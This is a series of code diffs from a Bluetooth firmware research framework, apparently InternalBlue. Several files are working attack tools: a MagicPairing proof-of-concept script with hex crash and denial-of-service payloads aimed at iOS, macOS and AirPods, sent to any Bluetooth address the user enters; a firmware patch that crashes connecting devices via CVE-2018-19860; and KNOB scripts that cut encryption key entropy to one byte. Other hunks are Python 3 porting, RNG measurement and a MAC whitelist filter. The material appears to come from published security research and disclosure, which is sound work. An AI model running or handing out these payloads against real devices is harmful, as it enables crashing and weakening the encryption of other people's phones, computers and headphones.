log.error("Reconnection attempts exhausted")
status = False
else:
log.info("Connection successful")
if self.connection_callback:
self.connection_callback()
status = True
return status
@@ -0,0 +1,73 @@
#!/usr/bin/python2
# Dennis Heinze
import sys
import time
import os
import binascii
from pwn import *
class L2CAPManager:
def __init__(self, btconn, mtu=0x30):
self.connection = btconn
self.connection.registerACLHandler(self._receptionHandler)
# cidHandlers is a map from CID -> function array
self.cidHandlers = {}
self.handlers = []
self.mtu = mtu
def sendData(self, data, cid):
data_len = len(data)
# if data_len > mtu
log.debug("Sent L2CAP data to channel: %d, data: %s", cid, binascii.hexlify(data))
self.connection.sendACL(p16(data_len) + p16(cid) + data)
def registerHandler(self, handler):
self.handlers.append(handler)
log.debug("Registered L2CAP handler")
def registerCIDHandler(self, handler, cid):
if cid not in self.cidHandlers:
self.cidHandlers[cid] = []
self.cidHandlers[cid].append(handler)
log.debug("Registered L2CAP handler for CID %d", cid)
def _receptionHandler(self, data):
if len(data) > 5:
l2cap_data = data[5:]
else:
log.debug("Received invalid L2CAP data at handler: %s", data)
return
# prioritize specific CID handlers
(length, cid) = struct.unpack_from("hh", l2cap_data)
log.debug("Received L2CAP data for cid: %d, %s", cid, binascii.hexlify(l2cap_data))
if cid in self.cidHandlers:
for handler in self.cidHandlers[cid]:
handler(l2cap_data[4:])
for handler in self.handlers:
handler(l2cap_data[4:])
class L2CAPSignalChannel:
def __init__(self, chanman):
self.chanman = chanman
self.chanman.registerCIDHandler(0x01, self._receptionHandler)
def sendCFrameRaw(self, code, identifier, length, data):
self.chanman.sendData(code + identifier + length + data)
def sendCFrame(self, code, identifier, data):
data_len = len(data) / 2
self.sendCFrameRaw(code, identifier, p16(data_len), data)
def _receptionHandler(self, data):
pass
+9
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@@ -0,0 +1,9 @@
# MagicPairing PoCs
This folder contains the proof-of-concepts belonging to our WiSec paper
[MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
Run the `mp_pocs.py` script to try the PoCs. The script will interactively ask
for the required information for each of the PoCs. It assumes a connected iOS
device running InternalBlue. This can be changes by adopting the core to the
desired one (i.e. for macOS `internalblue = macOSCore()`).
+164
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@@ -0,0 +1,164 @@
import sys
import time
import binascii
from pwn import *
from internalblue.ioscore import iOSCore
from BTConnection import BluetoothConnection
import InternalBlueL2CAP
VULNS = [{
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP2]: iOS Hint Crash (0x1)",
"tech": 0,
"payload": "01020304050607",
"cid": 0x30,
"mtu": False
}, {
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP4]: macOS Hint Crash (0x0)",
"tech": 0,
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
"tech": 0,
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
"343633343633333734363037343331373638f3a081b4323131343831" +
"6c010104002b0100",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
"tech": 0,
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
"001274a8183334303238323336363932303933383436333436333337" +
"34363037343331373638323131343536057f",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP7]: macOS Ratcheting Loop DoS",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAA00010400fffffff0",
"cid": 0x30,
"mtu": True,
"addr_change": True
}, {
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
}, {
"description": "[L2CAP1]: AirPods L2CAP Crash",
"tech": 0,
"payload": "",
"cid": 0x30,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
"tech": 0,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
"tech": 1,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}
]
def listener(data):
log.info("Listener received: %s", binascii.hexlify(data))
def bd_addr_to_bytes(addr_string):
addr = addr_string.replace(":", "")
return bytes.fromhex(addr)
def main():
internalblue = iOSCore()
# let user choose device if more than one is connected
devices = internalblue.device_list()
if len(devices) > 1:
i = options("Please specify device: ", [d[2] for d in devices], 0)
internalblue.interface = internalblue.device_list()[i][1]
else:
internalblue.interface = internalblue.device_list()[0][1]
# let use choose the vuln
i = options("Please choose your vuln: ", [v["description"] for v in VULNS], 0)
vuln = VULNS[i]
if not internalblue.connect():
log.critical("No connection to internalblue device.")
sys.exit(-1)
# if the vuln requires an address change, ask for the address
if "addr_change" in vuln and vuln["addr_change"]:
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
"please provide it: ")
change_addr = bd_addr_to_bytes(change_addr)
internalblue.sendHciCommand(0xfc01, change_addr[::-1])
# now we need the bd addr of the target
target = bd_addr_to_bytes(input("Target Bluetooth address: "))
# connect to the target
connection = BluetoothConnection(internalblue, target, reconnect=0)
l2cap = InternalBlueL2CAP.L2CAPManager(connection)
# in case we need an answer for one of the PoCs we listen to the given CID
if "listen_cid" in vuln:
l2cap.registerCIDHandler(listener, vuln["listen_cid"])
# set the Bluetooth technology [0->Classic, 1->BLE]
connection.connection_type = vuln["tech"]
connection.connect()
# If the PoC includes larger messages we need to do the MagicPairing Ping trick to
# increase the MTU. This could also be done by sending L2CAP Information Requests and
# Responses but this would take longer.
if vuln["mtu"]:
log.info("Sending MagicPairing Ping to increase L2CAP MTU")
l2cap.sendData(bytes.fromhex("F00000"), 0x30)
desc = vuln["description"]
log.info("Executing payload for %s", desc[:desc.find("]")+1])
if isinstance(vuln["payload"], list):
for p in vuln["payload"]:
l2cap.sendData(bytes.fromhex(p), vuln["cid"])
else:
log.info("Sending: { %s }", vuln["payload"])
l2cap.sendData(bytes.fromhex(vuln["payload"]), vuln["cid"])
time.sleep(1)
if __name__ == "__main__":
main()
+8 -8
View File
@@ -1,14 +1,14 @@
#!/usr/bin/env python2
#!/usr/bin/env python3
# Jiska Classen
# Get receive statistics on a Nexus 5 for BLE connection events
from builtins import range
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
@@ -118,7 +118,7 @@ def lereceiveStatusCallback(record):
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == "RXDN":
if hcipkt.data[0:4] == b'RXDN':
data = hcipkt.data[4:]
# Raspi 3 gets errors
@@ -126,11 +126,11 @@ def lereceiveStatusCallback(record):
return
# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = u8(data[0xa0])
packet_curr_nesn_sn = data[0xa0]
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = u8(data[0x7b])
packet_channel = data[0x7b]
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = u8(data[0])
packet_rssi = data[0]
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
@@ -153,11 +153,11 @@ def lereceiveStatusCallback(record):
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channels_total = packet_channel_map[37]
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
+160
View File
@@ -0,0 +1,160 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify send_LMP_host_connection_req_586E6, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0x586E6 # This function is in ROM
ASM_LOCATION_VSC_EXISTS = 0x00211900 # 0xD5900
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 #FIXME change range for LMP crash in case it didn't crash here
LMP_VSC_CMD_END = 0x06
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
//proceed as in original function send_LMP_host_connection_req_586E6
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
b 0x58760 // address from where send_LMP_host_connection_req_586E6 was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
mov r1, 0x4242
str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00211800 # 0xD5700
HOOK_LMP_00_LOOKUP = 0x2008B4 # This function already provides a hook for the LMP handlers
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
//dummy table entry
.align
table:
.byte 0x35 //nullsub1+1
.byte 0xAC
.byte 0x00
.byte 0x00
.byte 0x10 //length
.byte 0x00
.byte 0x00
.byte 0x00
"""
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
#progress_log = log.info("Writing ASM snippet for LMP 00 table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
#progress_log = log.info("Installing predefined hook for LMP table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
#progress_log = log.info("Writing ASM snippet for LMP VSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
#log.info("Installing LMP VSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
log.critical("Installing patch for VSC existence check failed!")
exit(-1)
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
log.info("------------------")
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
@@ -1,10 +1,9 @@
#!/usr/bin/env python2
# Dennis Mantz
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
#internalblue = core.InternalBlue()
internalblue = ADBCore()
@@ -15,9 +14,9 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
PK_RECV_HOOK_ADDRESS = 0x2FED8
PK_SEND_HOOK_ADDRESS = 0x030098
GEN_PRIV_KEY_ADDRESS = 0x48eba
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
PK_SEND_HOOK_ADDRESS = Address(0x030098)
GEN_PRIV_KEY_ADDRESS = Address(0x48eba)
HOOKS_LOCATION = 0xd7800
ASM_HOOKS = """
b pk_recv_hook
+8 -10
View File
@@ -1,15 +1,13 @@
#!/usr/bin/python2
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
"""
@@ -36,10 +34,10 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
internalblue.patchRom(0x5AED0, patch)
internalblue.patchRom(Address(0x5AED0), patch)
# modify global variable for own setting
internalblue.writeMem(0x203797, '\x01') # global key entropy
internalblue.writeMem(0x203797, b'\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
@@ -67,7 +65,7 @@ class CmdKnob(cmd.Cmd):
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -81,12 +79,12 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
+7 -7
View File
@@ -1,10 +1,10 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
from binascii import unhexlify
"""
Filter connections by MAC address before entering LMP dispatcher.
Enter MAC addresses you trust into whitelist.
@@ -12,8 +12,8 @@ Enter MAC addresses you trust into whitelist.
"""
WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"]
WHITELIST_BYTES = ''.join(WHITELIST).decode("hex")[::-1] # change mac addr byte order
HOOK_LMP_FILTER = 0x3f3f4 # This function is in ROM
WHITELIST_BYTES = unhexlify(''.join(WHITELIST))[::-1] # change mac addr byte order
HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM
ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900
ASM_SNIPPET_LMP_FILTER = """
b lmp_dispatcher_filter
@@ -89,7 +89,7 @@ lmp_dispatcher_filter:
//mac address list
%s
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % ord(x) for x in WHITELIST_BYTES]))
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x for x in WHITELIST_BYTES]))
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
+4 -4
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@@ -1,12 +1,12 @@
#!/usr/bin/python2
#!/usr/bin/env python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue import Address
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -40,7 +40,7 @@ TODO
"""
HOOK_IO_CAP_RESP = 0x303D4 # we just change the complete simple pairing state machine
HOOK_IO_CAP_RESP = Address(0x303D4) # we just change the complete simple pairing state machine
ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800
ASM_SNIPPET_IO_CAP_RESP = """
//restore original 8 bytes of instructions which we overwrite by patching a branch into it
+222
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@@ -0,0 +1,222 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
"""
Measure the RNG of the Nexus 5.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x211000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x0660ea # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("n5-randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+218
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@@ -0,0 +1,218 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
"""
Measure the RNG of the Nexus 5.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* Disable Wi-Fi as the RNG might be shared.
"""
ASM_LOCATION_RNG = 0x211000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x0660ea # original RNG function that we overwrite with bx lr
PRAND = 0x31FD48 # the pseudo random register we want to benchmark
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr # lowest byte changes but doesnt look like rssi
# 0x31FC34 agcStatus_adr # constant
# 0x31FFA0 rxInitAngle_adr # lowest byte changes, rest is constant
# 0x31F8A4 spurFreqErr1_adr # also stays constant while establishing a connection, funny :D
# 0x31FD48 rxPskPhErr5_adr # same, constant during conn
# 0x200990 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x7AFC // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
log.info("Disabled Wi-Fi core.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("5_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+8 -8
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@@ -3,13 +3,12 @@
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
"""
This is a standalone PoC for the KNOB attack on a Nexus 6P.
@@ -39,7 +38,8 @@ log.info("Installing patch which ensures that send_LMP_encryption_key_size_req i
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
# modify global variable for own setting
internalblue.writeMem(0x204147, '\x01') # global key entropy
internalblue.writeMem(0x204147, b'\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
@@ -49,8 +49,8 @@ log.info("-----------------------KNOB-----------------------\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0b\n"
"...shows the key size of handle 0x000b.\n")
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
@@ -67,7 +67,7 @@ class CmdKnob(cmd.Cmd):
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
@@ -81,12 +81,12 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
if hcipkt.data[3] == 0x12: # Error
